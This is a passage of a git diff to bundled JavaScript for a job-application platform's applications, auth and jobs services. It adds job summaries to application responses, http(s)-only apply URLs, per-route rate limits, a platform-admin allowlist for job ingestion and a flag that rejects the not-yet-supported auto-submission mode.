deps.env.RATE_LIMIT_MAX, timeWindow: deps.env.RATE_LIMIT_WINDOW } + }, + (api) => { + getSummaryRoute(api, deps); + } + ); return app2; } diff --git a/api/applications/index.js b/api/applications/index.js index 73df765..f54f971 100644 --- a/api/applications/index.js +++ b/api/applications/index.js @@ -74790,6 +74790,24 @@ var applicationSchema = external_exports.object({ failure_reason: external_exports.string().nullable(), created_at: isoTimestampSchema }); +var applicationJobSummarySchema = external_exports.object({ + job_id: uuidSchema, + title: external_exports.string().min(1).max(300), + company_id: uuidSchema, + company_name: external_exports.string().min(1).max(300), + location: external_exports.string().max(300).nullable(), + remote_type: remoteTypeSchema, + employment_type: employmentTypeSchema, + /** + * Safe to use as a link target: the service only ever returns http(s) URLs + * (anything else a connector stored becomes null). + */ + apply_url: external_exports.url({ protocol: /^https?$/ }).nullable(), + is_active: external_exports.boolean() +}); +var applicationWithJobSchema = applicationSchema.extend({ + job: applicationJobSummarySchema.nullable() +}); var contactSchema = external_exports.object({ contact_id: uuidSchema, company_id: uuidSchema, @@ -74977,14 +74995,21 @@ var ingestJobsRequestSchema = external_exports.object({ var createApplicationRequestSchema = external_exports.object({ job_id: uuidSchema, resume_id: uuidSchema, + /** + * `manual` / `review` start as an editable draft; the owner applies on the + * employer's site and records the outcome. `auto` is rejected (400 + * VALIDATION_ERROR) unless the service runs with + * APPLICATIONS_AUTO_MODE_ENABLED=true — no submission worker exists yet. + */ mode: applicationModeSchema.default("manual") }); +var applicationViewSchema = applicationWithJobSchema.partial({ job: true }); var applicationResponseSchema = external_exports.object({ - application: applicationSchema + application: applicationViewSchema }); var listApplicationsQuerySchema = paginationQuerySchema; var listApplicationsResponseSchema = external_exports.object({ - items: external_exports.array(applicationSchema), + items: external_exports.array(applicationViewSchema), next_cursor: external_exports.string().nullable() }); var appendApplicationEventRequestSchema = external_exports.object({ @@ -85822,6 +85847,100 @@ function metricsRoute(app2, metrics2) { }); } +// packages/observability/src/rate-limit.ts +function registerRateLimitedRoutes(app2, options, declareRoutes) { + const routeLimits = options.routeLimits ?? {}; + const unmatched = new Set(Object.keys(routeLimits)); + if (unmatched.size > 0) { + app2.addHook("onRoute", (route) => { + const methods = Array.isArray(route.method) ? route.method : [route.method]; + for (const method of methods) { + const key = `${method} ${route.url}`; + const limit = routeLimits[key]; + if (limit === void 0) continue; + unmatched.delete(key); + if (route.config?.rateLimit === void 0) { + route.config = { ...route.config, rateLimit: { ...limit } }; + } + } + }); + app2.addHook("onReady", async () => { + if (unmatched.size > 0) { + throw new Error( + `Rate limit configured for routes that do not exist: ${[...unmatched].join(", ")}` + ); + } + }); + } + void app2.register(options.plugin, options.settings); + let limitUnmatched; + app2.addHook("onRequest", async (request, reply) => { + if (!request.is404) return; + limitUnmatched ??= app2.rateLimit(); + await limitUnmatched(request, reply); + }); + void app2.register(async (scope) => { + declareRoutes(scope); + }); +} + +// services/applications/src/lib/apply-url.ts +function toSafeApplyUrl(raw) { + if (!raw) return null; + let parsed; + try { + parsed = new URL(raw); + } catch { + return null; + } + if (parsed.protocol !== "http:" && parsed.protocol !== "https:") return null; + if (parsed.username !== "" || parsed.password !== "") return null; + return parsed.href; +} + +// services/applications/src/repo/lookups.ts +var jobSummaryColumns = { + jobId: schema_exports.jobs.jobId, + title: schema_exports.jobs.title, + companyId: schema_exports.jobs.companyId, + companyName: schema_exports.companies.name, + location: schema_exports.jobs.location, + remoteType: schema_exports.jobs.remoteType, + employmentType: schema_exports.jobs.employmentType, + applyUrl: schema_exports.jobs.applyUrl, + isActive: schema_exports.jobs.isActive +}; +function toJobSummary(row) { + if (row.jobId === null || row.title === null || row.companyId === null || row.companyName === null || row.remoteType === null || row.employmentType === null || row.isActive === null) { + return null; + } + return { + job_id: row.jobId, + title: row.title, + company_id: row.companyId, + company_name: row.companyName, + location: row.location, + remote_type: row.remoteType, + employment_type: row.employmentType, + apply_url: toSafeApplyUrl(row.applyUrl), + is_active: row.isActive + }; +} +async function findJobSummary(db2, jobId) { + const [row] = await db2.select(jobSummaryColumns).from(schema_exports.jobs).innerJoin(schema_exports.companies, eq(schema_exports.companies.companyId, schema_exports.jobs.companyId)).where(eq(schema_exports.jobs.jobId, jobId)).limit(1); + return row ? toJobSummary(row) : null; +} +async function findParsedResumeOwnedBy(db2, resumeId, userId) { + const [row] = await db2.select({ resumeId: schema_exports.resumes.resumeId }).from(schema_exports.resumes).where( + and( + eq(schema_exports.resumes.resumeId, resumeId), + eq(schema_exports.resumes.userId, userId), + eq(schema_exports.resumes.status, "parsed") + ) + ).limit(1); + return row ?? null; +} + // services/applications/src/repo/applications.ts function toApplication(row) { return { @@ -85839,9 +85958,12 @@ function toApplication(row) { created_at: row.createdAt }; } -async function findById(db2, applicationId) { - const [row] = await db2.select().from(schema_exports.applications).where(eq(schema_exports.applications.applicationId, applicationId)).limit(1); - return row ?? null; +function toApplicationWithJob(row, job) { + return { ...toApplication(row), job }; +} +async function findByIdWithJob(db2, applicationId) { + const [row] = await db2.select({ application: schema_exports.applications, job: jobSummaryColumns }).from(schema_exports.applications).leftJoin(schema_exports.jobs, eq(schema_exports.jobs.jobId, schema_exports.applications.jobId)).leftJoin(schema_exports.companies, eq(schema_exports.companies.companyId, schema_exports.jobs.companyId)).where(eq(schema_exports.applications.applicationId, applicationId)).limit(1); + return row ? { application: row.application, job: toJobSummary(row.job) } : null; } async function findByUserAndJob(db2, userId, jobId) { const [row] = await db2.select().from(schema_exports.applications).where(and(eq(schema_exports.applications.userId, userId), eq(schema_exports.applications.jobId, jobId))).limit(1); @@ -85856,7 +85978,7 @@ async function insertApplication(db2, input2) { if (!row) throw new Error("insertApplication: insert returned no row"); return row; } -async function listByCondition(db2, scopeCondition, pagination) { +function pageCondition(scopeCondition, pagination) { const cursorValue = pagination.cursor ? decodeCursor(pagination.cursor) : null; const cursorCreatedAt = typeof cursorValue?.createdAt === "string" ? cursorValue.createdAt : null; const cursorId = typeof cursorValue?.id === "string" ? cursorValue.id : null; @@ -85868,20 +85990,29 @@ async function listByCondition(db2, scopeCondition, pagination) { ); if (tieBreak) conditions.push(tieBreak); } - const rows = await db2.select().from(schema_exports.applications).where(and(...conditions)).orderBy(desc(schema_exports.applications.createdAt), desc(schema_exports.applications.applicationId)).limit(pagination.limit + 1); - const hasMore = rows.length > pagination.limit; - const items = hasMore ? rows.slice(0, pagination.limit) : rows; + return and(...conditions); +} +function toPage(rows, limit, applicationOf) { + const hasMore = rows.length > limit; + const items = hasMore ? rows.slice(0, limit) : rows; const last = items[items.length - 1]; + const lastApplication = last === void 0 ? null : applicationOf(last); return { items, - nextCursor: hasMore && last ? encodeCursor({ createdAt: last.createdAt, id: last.applicationId }) : null + nextCursor: hasMore && lastApplication ? encodeCursor({ createdAt: lastApplication.createdAt, id: lastApplication.applicationId }) : null }; } async function listForUser(db2, userId, pagination) { - return listByCondition(db2, eq(schema_exports.applications.userId, userId), pagination); + const rows = await db2.select({ application: schema_exports.applications, job: jobSummaryColumns }).from(schema_exports.applications).leftJoin(schema_exports.jobs, eq(schema_exports.jobs.jobId, schema_exports.applications.jobId)).leftJoin(schema_exports.companies, eq(schema_exports.companies.companyId, schema_exports.jobs.companyId)).where(pageCondition(eq(schema_exports.applications.userId, userId), pagination)).orderBy(desc(schema_exports.applications.createdAt), desc(schema_exports.applications.applicationId)).limit(pagination.limit + 1); + const page = toPage(rows, pagination.limit, (item) => item.application); + return { + items: page.items.map((item) => ({ application: item.application, job: toJobSummary(item.job) })), + nextCursor: page.nextCursor + }; } async function listForOrganization(db2, organizationId, pagination) { - return listByCondition(db2, eq(schema_exports.applications.organizationId, organizationId), pagination); + const rows = await db2.select().from(schema_exports.applications).where(pageCondition(eq(schema_exports.applications.organizationId, organizationId), pagination)).orderBy(desc(schema_exports.applications.createdAt), desc(schema_exports.applications.applicationId)).limit(pagination.limit + 1); + return toPage(rows, pagination.limit, (item) => item); } async function appendEvent(db2, input2) { return db2.transaction(async (tx) => { @@ -85904,7 +86035,11 @@ async function appendEvent(db2, input2) { // services/applications/src/lib/transitions.ts var ALLOWED_TRANSITIONS = { - draft: ["queued", "withdrawn"], + // `draft -> submitted` is the assisted-apply path: the user applied on the + // employer's own site and reports it. Without it a manual application would + // have to be walked through `queued` and `submitting`, which are states a + // submission worker owns and which nothing consumes today. + draft: ["queued", "submitted", "withdrawn"], queued: ["submitting", "withdrawn", "failed"], submitting: ["submitted", "failed"], // A failed submission is usually a worker/connector hiccup — requeue it. @@ -85919,6 +86054,10 @@ var ALLOWED_TRANSITIONS = { function isValidTransition(from, to) { return ALLOWED_TRANSITIONS[from].includes(to); } +var OPENED_APPLY_LINK_NOTE = "opened_apply_link"; +function isOpenedApplyLinkMarker(from, to, note) { + return from === "draft" && to === "draft" && note === OPENED_APPLY_LINK_NOTE; +} // services/applications/src/http/routes/append-event.ts var paramsSchema = external_exports.object({ id: uuidSchema }); @@ -85927,13 +86066,15 @@ function appendEventRoute(app2, deps) { const actor = getActor(request); const { id } = paramsSchema.parse(request.params); const body = appendApplicationEventRequestSchema.parse(request.body); - const current = await findById(deps.db, id); + const found = await findByIdWithJob(deps.db, id); + const current = found?.application ?? null; const isOwner = current?.userId === actor.user_id; const isOrgStaff = current !== null && (actor.role === "admin" || actor.role === "owner") && current.organizationId !== null && current.organizationId === actor.organization_id; - if (!current || !(isOwner || isOrgStaff)) { + if (!found || !current || !(isOwner || isOrgStaff)) { throw new AppError("NOT_FOUND", "Application not found"); } - if (!isValidTransition(current.status, body.to_status)) { + const isApplyLinkMarker = isOwner && isOpenedApplyLinkMarker(current.status, body.to_status, body.note); + if (!isApplyLinkMarker && !isValidTransition(current.status, body.to_status)) { throw new AppError("VALIDATION_ERROR", `Cannot move an application from "${current.status}" to "${body.to_status}"`); } const updated = await appendEvent(deps.db, { @@ -85951,31 +86092,22 @@ function appendEventRoute(app2, deps) { ) ); } - const response = { application: toApplication(updated) }; + const response = { + application: isOwner ? toApplicationWithJob(updated, found.job) : toApplication(updated) + }; reply.status(200).send(response); }); } -// services/applications/src/repo/lookups.ts -async function findActiveJob(db2, jobId) { - const [row] = await db2.select({ jobId: schema_exports.jobs.jobId, isActive: schema_exports.jobs.isActive }).from(schema_exports.jobs).where(eq(schema_exports.jobs.jobId, jobId)).limit(1); - return row ?? null; -} -async function findParsedResumeOwnedBy(db2, resumeId, userId) { - const [row] = await db2.select({ resumeId: schema_exports.resumes.resumeId }).from(schema_exports.resumes).where( - and( - eq(schema_exports.resumes.resumeId, resumeId), - eq(schema_exports.resumes.userId, userId), - eq(schema_exports.resumes.status, "parsed") - ) - ).limit(1); - return row ?? null; -} - // services/applications/src/http/routes/create-application.ts var UNIQUE_VIOLATION = "23505"; var idempotencyKeySchema = external_exports.string().min(8).max(200); +var AUTO_MODE_UNAVAILABLE_MESSAGE = 'Mode "auto" cannot be used: automatic submission is not available yet. Use "manual" or "review" instead.'; function createApplicationRoute(app2, deps) { + async function ownerView(row, knownJob) { + const job = knownJob === void 0 ? await findJobSummary(deps.db, row.jobId) : knownJob; + return { application: toApplicationWithJob(row, job) }; + } app2.post("/v1/applications", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { const actor = getActor(request); const rawKey2 = request.headers[IDEMPOTENCY_HEADER]; @@ -85984,18 +86116,22 @@ function createApplicationRoute(app2, deps) { } const idempotencyKey = idempotencyKeySchema.parse(rawKey2); const body = createApplicationRequestSchema.parse(request.body); + if (body.mode === "auto" && !deps.env.APPLICATIONS_AUTO_MODE_ENABLED) { + throw new AppError("VALIDATION_ERROR", AUTO_MODE_UNAVAILABLE_MESSAGE, { + details: [{ path: "mode", message: AUTO_MODE_UNAVAILABLE_MESSAGE }] + }); + } const existingByKey = await findByUserAndIdempotencyKey(deps.db, actor.user_id, idempotencyKey); if (existingByKey) { const sameRequest = existingByKey.jobId === body.job_id && existingByKey.resumeId === body.resume_id && existingByKey.mode === body.mode; if (!sameRequest) { throw new AppError("IDEMPOTENCY_KEY_REUSED", "This idempotency key was already used for a different request"); } - const response = { application: toApplication(existingByKey) }; - reply.status(200).send(response); + reply.status(200).send(await ownerView(existingByKey)); return; } - const job = await findActiveJob(deps.db, body.job_id); - if (!job || !job.isActive) { + const job = await findJobSummary(deps.db, body.job_id); + if (!job || !job.is_active) { throw new AppError("JOB_NOT_FOUND", "Job is unavailable"); } const resume = await findParsedResumeOwnedBy(deps.db, body.resume_id, actor.user_id); @@ -86016,7 +86152,8 @@ function createApplicationRoute(app2, deps) { organizationId: actor.organization_id, mode: body.mode, // `auto` has nothing manual left to do before it's eligible for - // submission; everything else starts as an editable draft. + // submission; everything else starts as an editable draft. Only + // reachable with APPLICATIONS_AUTO_MODE_ENABLED — see the note above. status: body.mode === "auto" ? "queued" : "draft", idempotencyKey }); @@ -86027,14 +86164,12 @@ function createApplicationRoute(app2, deps) { newTraceContext({ organization_id: actor.organization_id, user_id: actor.user_id }) ) ); - const response = { application: toApplication(created) }; - reply.status(201).send(response); + reply.status(201).send(await ownerView(created, job)); } catch (cause) { if (pgErrorCode(cause) === UNIQUE_VIOLATION) { const racedByKey = await findByUserAndIdempotencyKey(deps.db, actor.user_id, idempotencyKey); if (racedByKey) { - const response = { application: toApplication(racedByKey) }; - reply.status(200).send(response); + reply.status(200).send(await ownerView(racedByKey)); return; } const racedByJob = await findByUserAndJob(deps.db, actor.user_id, body.job_id); @@ -86055,13 +86190,15 @@ function getApplicationRoute(app2, deps) { app2.get("/v1/applications/:id", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { const actor = getActor(request); const { id } = paramsSchema2.parse(request.params); - const row = await findById(deps.db, id); - const isOwner = row?.userId === actor.user_id; - const isOrgStaff = row !== null && (actor.role === "admin" || actor.role === "owner") && row.organizationId !== null && row.organizationId === actor.organization_id; - if (!row || !(isOwner || isOrgStaff)) { + const found = await findByIdWithJob(deps.db, id); + const isOwner = found?.application.userId === actor.user_id; + const isOrgStaff = found !== null && (actor.role === "admin" || actor.role === "owner") && found.application.organizationId !== null && found.application.organizationId === actor.organization_id; + if (!found || !(isOwner || isOrgStaff)) { throw new AppError("NOT_FOUND", "Application not found"); } - const response = { application: toApplication(row) }; + const response = { + application: isOwner ? toApplicationWithJob(found.application, found.job) : toApplication(found.application) + }; reply.status(200).send(response); }); } @@ -86088,7 +86225,7 @@ function listApplicationsRoute(app2, deps) { const actor = getActor(request); const query = listApplicationsQuerySchema.parse(request.query); const scope = scopeSchema.parse(request.query.scope); - let result; + let response; if (scope === "organization") { if (actor.role !== "admin" && actor.role !== "owner") { throw new AppError("FORBIDDEN", "Only org admins/owners can list organization-wide applications"); @@ -86096,11 +86233,15 @@ function listApplicationsRoute(app2, deps) { if (!actor.organization_id) { throw new AppError("VALIDATION_ERROR", "This account is not attached to an organization"); } - result = await listForOrganization(deps.db, actor.organization_id, query); + const result = await listForOrganization(deps.db, actor.organization_id, query); + response = { items: result.items.map(toApplication), next_cursor: result.nextCursor }; } else { - result = await listForUser(deps.db, actor.user_id, query); + const result = await listForUser(deps.db, actor.user_id, query); + response = { + items: result.items.map(({ application, job }) => toApplicationWithJob(application, job)), + next_cursor: result.nextCursor + }; } - const response = { items: result.items.map(toApplication), next_cursor: result.nextCursor }; reply.status(200).send(response); }); } @@ -86112,6 +86253,9 @@ var STATUS_TO_CODE = { 415: "UNSUPPORTED_MEDIA_TYPE", 429: "RATE_LIMITED" }; +var ROUTE_LIMITS = { + "POST /v1/applications": { max: 30, timeWindow: "1 minute" } +}; function buildApp(deps) { const app2 = (0, import_fastify.default)({ // See services/auth/src/app.ts for why this cast is needed: pino's Logger @@ -86123,10 +86267,6 @@ function buildApp(deps) { genReqId: () => newUuid() }); void app2.register(import_cors.default, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); - void app2.register(import_rate_limit.default, { - max: deps.env.RATE_LIMIT_MAX, - timeWindow: deps.env.RATE_LIMIT_WINDOW - }); const metrics2 = createMetricsRegistry("applications-service"); registerHttpMetrics(app2, metrics2); app2.setErrorHandler((error62, request, reply) => { @@ -86167,10 +86307,20 @@ function buildApp(deps) { }); healthRoute(app2, deps); metricsRoute(app2, metrics2); - createApplicationRoute(app2, deps); - listApplicationsRoute(app2, deps); - getApplicationRoute(app2, deps); - appendEventRoute(app2, deps); + registerRateLimitedRoutes( + app2, + { + plugin: import_rate_limit.default, + settings: { max: deps.env.RATE_LIMIT_MAX, timeWindow: deps.env.RATE_LIMIT_WINDOW }, + routeLimits: ROUTE_LIMITS + }, + (api) => { + createApplicationRoute(api, deps); + listApplicationsRoute(api, deps); + getApplicationRoute(api, deps); + appendEventRoute(api, deps); + } + ); return app2; } @@ -86180,7 +86330,13 @@ var applicationsServiceEnvSchema = external_exports.object({ ...databaseEnvSchema.shape, ...httpEnvSchema.shape, ...messagingEnvSchema.shape, - ...supabaseAuthEnvSchema.shape + ...supabaseAuthEnvSchema.shape, + /** + * No worker consumes `queued` applications yet, so `mode: "auto"` would leave + * the user stuck in `queued` forever. Until a submission worker ships, + * POST /v1/applications rejects `auto` unless this is explicitly turned on. + */ + APPLICATIONS_AUTO_MODE_ENABLED: external_exports.stringbool().default(false) }); function loadApplicationsServiceEnv(source = process.env) { const normalized = { ...source, PORT: source.PORT ?? source.APPLICATIONS_SERVICE_PORT }; diff --git a/api/auth/index.js b/api/auth/index.js index 2cb9d1f..da4bdbf 100644 --- a/api/auth/index.js +++ b/api/auth/index.js @@ -66839,6 +66839,24 @@ var applicationSchema = external_exports.object({ failure_reason: external_exports.string().nullable(), created_at: isoTimestampSchema }); +var applicationJobSummarySchema = external_exports.object({ + job_id: uuidSchema, + title: external_exports.string().min(1).max(300), + company_id: uuidSchema, + company_name: external_exports.string().min(1).max(300), + location: external_exports.string().max(300).nullable(), + remote_type: remoteTypeSchema, + employment_type: employmentTypeSchema, + /** + * Safe to use as a link target: the service only ever returns http(s) URLs + * (anything else a connector stored becomes null). + */ + apply_url: external_exports.url({ protocol: /^https?$/ }).nullable(), + is_active: external_exports.boolean() +}); +var applicationWithJobSchema = applicationSchema.extend({ + job: applicationJobSummarySchema.nullable() +}); var contactSchema = external_exports.object({ contact_id: uuidSchema, company_id: uuidSchema, @@ -67017,13 +67035,20 @@ var ingestJobsRequestSchema = external_exports.object({ var createApplicationRequestSchema = external_exports.object({ job_id: uuidSchema, resume_id: uuidSchema, + /** + * `manual` / `review` start as an editable draft; the owner applies on the + * employer's site and records the outcome. `auto` is rejected (400 + * VALIDATION_ERROR) unless the service runs with + * APPLICATIONS_AUTO_MODE_ENABLED=true — no submission worker exists yet. + */ mode: applicationModeSchema.default("manual") }); +var applicationViewSchema = applicationWithJobSchema.partial({ job: true }); var applicationResponseSchema = external_exports.object({ - application: applicationSchema + application: applicationViewSchema }); var listApplicationsResponseSchema = external_exports.object({ - items: external_exports.array(applicationSchema), + items: external_exports.array(applicationViewSchema), next_cursor: external_exports.string().nullable() }); var appendApplicationEventRequestSchema = external_exports.object({ @@ -77151,6 +77176,43 @@ function metricsRoute(app2, metrics2) { }); } +// packages/observability/src/rate-limit.ts +function registerRateLimitedRoutes(app2, options, declareRoutes) { + const routeLimits = options.routeLimits ?? {}; + const unmatched = new Set(Object.keys(routeLimits)); + if (unmatched.size > 0) { + app2.addHook("onRoute", (route) => { + const methods = Array.isArray(route.method) ? route.method : [route.method]; + for (const method of methods) { + const key = `${method} ${route.url}`; + const limit = routeLimits[key]; + if (limit === void 0) continue; + unmatched.delete(key); + if (route.config?.rateLimit === void 0) { + route.config = { ...route.config, rateLimit: { ...limit } }; + } + } + }); + app2.addHook("onReady", async () => { + if (unmatched.size > 0) { + throw new Error( + `Rate limit configured for routes that do not exist: ${[...unmatched].join(", ")}` + ); + } + }); + } + void app2.register(options.plugin, options.settings); + let limitUnmatched; + app2.addHook("onRequest", async (request, reply) => { + if (!request.is404) return; + limitUnmatched ??= app2.rateLimit(); + await limitUnmatched(request, reply); + }); + void app2.register(async (scope) => { + declareRoutes(scope); + }); +} + // services/auth/src/http/routes/health.ts function healthRoute(app2, deps) { app2.get("/health", async (_request, reply) => { @@ -77236,10 +77298,6 @@ function buildApp(deps) { genReqId: () => newUuid() }); void app2.register(import_cors.default, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); - void app2.register(import_rate_limit.default, { - max: deps.env.RATE_LIMIT_MAX, - timeWindow: deps.env.RATE_LIMIT_WINDOW - }); const metrics2 = createMetricsRegistry("auth-service"); registerHttpMetrics(app2, metrics2); app2.setErrorHandler((error62, request, reply) => { @@ -77280,7 +77338,16 @@ function buildApp(deps) { }); healthRoute(app2, deps); metricsRoute(app2, metrics2); - meRoute(app2, deps); + registerRateLimitedRoutes( + app2, + { + plugin: import_rate_limit.default, + settings: { max: deps.env.RATE_LIMIT_MAX, timeWindow: deps.env.RATE_LIMIT_WINDOW } + }, + (api) => { + meRoute(api, deps); + } + ); return app2; } diff --git a/api/jobs/index.js b/api/jobs/index.js index 48370c2..c08cc70 100644 --- a/api/jobs/index.js +++ b/api/jobs/index.js @@ -19408,7 +19408,7 @@ var require_validation = __commonJS({ "use strict"; var { kSchemaHeaders: headersSchema, - kSchemaParams: paramsSchema, + kSchemaParams: paramsSchema2, kSchemaQuerystring: querystringSchema, kSchemaBody: bodySchema, kSchemaResponse: responseSchema @@ -19624,7 +19624,7 @@ var require_validation = __commonJS({ FSTWRN001("querystring", method, url2); } if (schema.params !== void 0) { - context2[paramsSchema] = compile2({ schema: schema.params, method, url: url2, httpPart: "params" }); + context2[paramsSchema2] = compile2({ schema: schema.params, method, url: url2, httpPart: "params" }); } else if (Object.hasOwn(schema, "params")) { FSTWRN001("params", method, url2); } @@ -19664,11 +19664,11 @@ var require_validation = __commonJS({ } function validate2(context2, request, execution) { const runExecution = execution === void 0; - if (runExecution && context2[paramsSchema] === void 0 && context2[bodySchema] === void 0 && context2[querystringSchema] === void 0 && context2[headersSchema] === void 0) { + if (runExecution && context2[paramsSchema2] === void 0 && context2[bodySchema] === void 0 && context2[querystringSchema] === void 0 && context2[headersSchema] === void 0) { return false; } if (runExecution || !execution.skipParams) { - const params = validateParam(context2[paramsSchema], request, "params"); + const params = validateParam(context2[paramsSchema2], request, "params"); if (params) { if (typeof params.then !== "function") { return wrapValidationError(params, "params", context2.schemaErrorFormatter); @@ -19763,7 +19763,7 @@ var require_validation = __commonJS({ return error62; } module.exports = { - symbols: { bodySchema, querystringSchema, responseSchema, paramsSchema, headersSchema }, + symbols: { bodySchema, querystringSchema, responseSchema, paramsSchema: paramsSchema2, headersSchema }, compileSchemasForValidation, compileSchemasForSerialization, validate: validate2 @@ -74792,6 +74792,24 @@ var applicationSchema = external_exports.object({ failure_reason: external_exports.string().nullable(), created_at: isoTimestampSchema }); +var applicationJobSummarySchema = external_exports.object({ + job_id: uuidSchema, + title: external_exports.string().min(1).max(300), + company_id: uuidSchema, + company_name: external_exports.string().min(1).max(300), + location: external_exports.string().max(300).nullable(), + remote_type: remoteTypeSchema, + employment_type: employmentTypeSchema, + /** + * Safe to use as a link target: the service only ever returns http(s) URLs + * (anything else a connector stored becomes null). + */ + apply_url: external_exports.url({ protocol: /^https?$/ }).nullable(), + is_active: external_exports.boolean() +}); +var applicationWithJobSchema = applicationSchema.extend({ + job: applicationJobSummarySchema.nullable() +}); var contactSchema = external_exports.object({ contact_id: uuidSchema, company_id: uuidSchema, @@ -74979,13 +74997,20 @@ var ingestJobsRequestSchema = external_exports.object({ var createApplicationRequestSchema = external_exports.object({ job_id: uuidSchema, resume_id: uuidSchema, + /** + * `manual` / `review` start as an editable draft; the owner applies on the + * employer's site and records the outcome. `auto` is rejected (400 + * VALIDATION_ERROR) unless the service runs with + * APPLICATIONS_AUTO_MODE_ENABLED=true — no submission worker exists yet. + */ mode: applicationModeSchema.default("manual") }); +var applicationViewSchema = applicationWithJobSchema.partial({ job: true }); var applicationResponseSchema = external_exports.object({ - application: applicationSchema + application: applicationViewSchema }); var listApplicationsResponseSchema = external_exports.object({ - items: external_exports.array(applicationSchema), + items: external_exports.array(applicationViewSchema), next_cursor: external_exports.string().nullable() }); var appendApplicationEventRequestSchema = external_exports.object({ @@ -75223,6 +75248,22 @@ function getActor(request) { return request.actor; } +// packages/auth-kit/src/platform-admin.ts +function parsePlatformAdminIds(raw) { + if (!raw) return /* @__PURE__ */ new Set(); + return new Set( + raw.split(",").map((id) => id.trim().toLowerCase()).filter((id) => id.length > 0) + ); +} +function isPlatformAdmin(actor, allowlist) { + return parsePlatformAdminIds(allowlist).has(actor.user_id.toLowerCase()); +} +function requirePlatformAdmin(actor, allowlist, message2 = "Only platform administrators can perform this action") { + if (!isPlatformAdmin(actor, allowlist)) { + throw new AppError("FORBIDDEN", message2); + } +} + // node_modules/.pnpm/postgres@3.4.9/node_modules/postgres/src/index.js import os from "os"; import fs from "fs"; @@ -85823,6 +85864,43 @@ function metricsRoute(app2, metrics2) { }); } +// packages/observability/src/rate-limit.ts +function registerRateLimitedRoutes(app2, options, declareRoutes) { + const routeLimits = options.routeLimits ?? {}; + const unmatched = new Set(Object.keys(routeLimits)); + if (unmatched.size > 0) { + app2.addHook("onRoute", (route) => { + const methods = Array.isArray(route.method) ? route.method : [route.method]; + for (const method of methods) { + const key = `${method} ${route.url}`; + const limit = routeLimits[key]; + if (limit === void 0) continue; + unmatched.delete(key); + if (route.config?.rateLimit === void 0) { + route.config = { ...route.config, rateLimit: { ...limit } }; + } + } + }); + app2.addHook("onReady", async () => { + if (unmatched.size > 0) { + throw new Error( + `Rate limit configured for routes that do not exist: ${[...unmatched].join(", ")}` + ); + } + }); + } + void app2.register(options.plugin, options.settings); + let limitUnmatched; + app2.addHook("onRequest", async (request, reply) => { + if (!request.is404) return; + limitUnmatched ??= app2.rateLimit(); + await limitUnmatched(request, reply); + }); + void app2.register(async (scope) => { + declareRoutes(scope); + }); +} + // services/jobs/src/repo/jobs.ts function toJob(row) { return { @@ -85892,9 +85970,10 @@ async function listActive(db2, filters, pagination) { } // services/jobs/src/http/routes/get-job.ts +var paramsSchema = external_exports.object({ id: uuidSchema }); function getJobRoute(app2, deps) { app2.get("/v1/jobs/:id", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { - const { id } = request.params; + const { id } = paramsSchema.parse(request.params); const job = await findById(deps.db, id); if (!job) { throw new AppError("JOB_NOT_FOUND", "Job not found"); @@ -86044,17 +86123,26 @@ function coerceEmploymentType(raw) { if (lower.includes("full")) return "full_time"; return "unknown"; } -function normalizeApplyUrl(raw) { +function normalizeHttpUrl(raw) { if (!raw) return null; try { - return new URL(raw).toString(); + const url2 = new URL(raw.trim()); + if (url2.protocol !== "http:" && url2.protocol !== "https:") return null; + if (url2.username !== "" || url2.password !== "") return null; + return url2.toString(); } catch { return null; } } +function normalizeApplyUrl(raw) { + return normalizeHttpUrl(raw); +} +function normalizeWebsiteUrl(raw) { + return normalizeHttpUrl(raw); +} function estimateSpamScore(posting) { let score = 0; - if (!posting.apply_url) score += 0.4; + if (!normalizeApplyUrl(posting.apply_url)) score += 0.4; if (posting.title.trim().length < 4) score += 0.3; if (!posting.description || posting.description.trim().length < 40) score += 0.3; return Math.min(1, score); @@ -86089,9 +86177,7 @@ function parsePostedAt(raw) { function ingestRoute(app2, deps) { app2.post("/v1/jobs/ingest", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { const actor = getActor(request); - if (actor.role !== "admin" && actor.role !== "owner") { - throw new AppError("FORBIDDEN", "Only org admins/owners can ingest job postings"); - } + requirePlatformAdmin(actor, deps.env.PLATFORM_ADMIN_USER_IDS, "Only platform administrators can ingest job postings"); const { postings } = ingestJobsRequestSchema.parse(request.body); const firstSource = postings[0]?.source ?? "manual"; const report = { @@ -86102,11 +86188,15 @@ function ingestRoute(app2, deps) { rejected: 0, errors: [] }; - for (const posting of postings) { + for (const [index2, posting] of postings.entries()) { const remoteType = coerceRemoteType(posting.remote_type); const jobHash = computeJobHash(posting.company_name, posting.title, posting.location ?? null, remoteType); try { - const company = await findOrCreateByName(deps.db, posting.company_name, posting.company_website); + const company = await findOrCreateByName( + deps.db, + posting.company_name, + normalizeWebsiteUrl(posting.company_website) + ); const existing = await findByHash(deps.db, jobHash); if (existing) { await touchSeen(deps.db, existing.jobId); @@ -86149,7 +86239,8 @@ function ingestRoute(app2, deps) { } } report.rejected += 1; - report.errors.push(cause instanceof Error ? cause.message : String(cause)); + request.log.error({ err: cause, posting_index: index2 }, "failed to ingest job posting"); + report.errors.push(`postings[${index2}]: could not be processed`); } } reply.status(200).send(report); @@ -86256,10 +86347,6 @@ function buildApp(deps) { genReqId: () => newUuid() }); void app2.register(import_cors.default, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); - void app2.register(import_rate_limit.default, { - max: deps.env.RATE_LIMIT_MAX, - timeWindow: deps.env.RATE_LIMIT_WINDOW - }); const metrics2 = createMetricsRegistry("jobs-service"); registerHttpMetrics(app2, metrics2); app2.setErrorHandler((error62, request, reply) => { @@ -86300,10 +86387,19 @@ function buildApp(deps) { }); healthRoute(app2, deps); metricsRoute(app2, metrics2); - ingestRoute(app2, deps); - listJobsRoute(app2, deps); - getJobRoute(app2, deps); - recommendationsRoute(app2, deps); + registerRateLimitedRoutes( + app2, + { + plugin: import_rate_limit.default, + settings: { max: deps.env.RATE_LIMIT_MAX, timeWindow: deps.env.RATE_LIMIT_WINDOW } + }, + (api) => { + ingestRoute(api, deps); + listJobsRoute(api, deps); + getJobRoute(api, deps); + recommendationsRoute(api, deps); + } + ); return app2; } @@ -86313,7 +86409,13 @@ var jobsServiceEnvSchema = external_exports.object({ ...databaseEnvSchema.shape, ...httpEnvSchema.shape, ...messagingEnvSchema.shape, - ...supabaseAuthEnvSchema.shape + 